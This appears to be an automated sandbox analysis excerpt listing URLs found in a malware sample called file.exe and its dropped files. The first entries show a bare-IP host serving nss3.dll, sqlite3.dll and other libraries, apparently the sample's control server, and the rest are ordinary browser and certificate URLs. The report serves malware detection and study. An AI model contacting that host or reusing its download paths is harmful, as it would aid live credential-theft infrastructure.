Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllM$
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllm$
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllt4
Source: file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206HDA
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_484.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2663765138.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EHDAAECA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_488.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_488.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_488.4.dr, chromecache_484.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: EHDAAECA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: a5e89566-667a-4848-a7b8-1604f354a7cf.tmp.9.dr, 4ae54eef-b53c-4bfe-9d79-f53367be85b3.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: a5e89566-667a-4848-a7b8-1604f354a7cf.tmp.9.dr, 4ae54eef-b53c-4bfe-9d79-f53367be85b3.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_488.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_488.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, file.exe, 00000000.00000002.2664657293.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2116035375.0000000004C6B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_488.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log8.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
